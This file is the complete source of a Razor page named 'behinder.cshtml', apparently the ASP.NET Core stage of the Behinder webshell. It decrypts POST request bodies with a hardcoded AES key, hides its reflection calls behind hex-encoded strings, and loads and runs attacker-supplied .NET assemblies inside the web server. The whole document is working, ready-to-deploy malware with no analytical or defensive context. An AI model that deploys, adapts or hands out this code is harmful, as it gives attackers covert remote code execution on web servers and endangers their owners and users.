behinder.cshtml

@using System.Reflection;
@using System.Reflection.Emit;
@using Microsoft.AspNetCore.Http;
@using Microsoft.AspNetCore.Mvc;
@using Microsoft.AspNetCore.Mvc.ApplicationModels;
@functions {
    public static byte[] Decrypt(byte[] data)
    {
        string key = "e45e329feb5d925b";
        data = Convert.FromBase64String(System.Text.Encoding.UTF8.GetString(data));
        System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged();
        aes.Mode = System.Security.Cryptography.CipherMode.ECB;
        aes.Key = System.Text.Encoding.UTF8.GetBytes(key);
        aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;
        return aes.CreateDecryptor().TransformFinalBlock(data, 0, data.Length);
    }

    public static byte[] Encrypt(byte[] data)
    {
        string key = "e45e329feb5d925b";
        System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged();
        aes.Mode = System.Security.Cryptography.CipherMode.ECB;
        aes.Key = System.Text.Encoding.UTF8.GetBytes(key);
        aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;
        return System.Text.Encoding.UTF8.GetBytes(Convert.ToBase64String(aes.CreateEncryptor().TransformFinalBlock(data, 0, data.Length)));
    }
}

@{
    if (Context.Request.Method == "POST")
    {
        byte[] c = null;

        Context.Request.EnableBuffering();

        using (var memoryStream = new System.IO.MemoryStream())
        {
            await Context.Request.Body.CopyToAsync(memoryStream);
            c = memoryStream.ToArray();
        }
        Context.Request.Body.Position = 0;
        string asname = System.Text.Encoding.ASCII.GetString(new byte[] { 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2e, 0x52, 0x65, 0x66, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79 });
        Type assembly = Type.GetType(asname);
        var load = assembly.GetMethod("Load", new Type[] { new byte[0].GetType() });
        object obj = load.Invoke(null, new object[] { @Decrypt(c) });
        var create = assembly.GetMethod("CreateInstance", new Type[] { "".GetType() });
        string name = System.Text.Encoding.ASCII.GetString(new byte[] { 0x55 });
        object pay = create.Invoke(obj, new object[] { name });
        this.Context.Items.Add("DecryptFunc", Decrypt);
        this.Context.Items.Add("EncryptFunc", Encrypt);
        pay.Equals(this.Context);
    }
}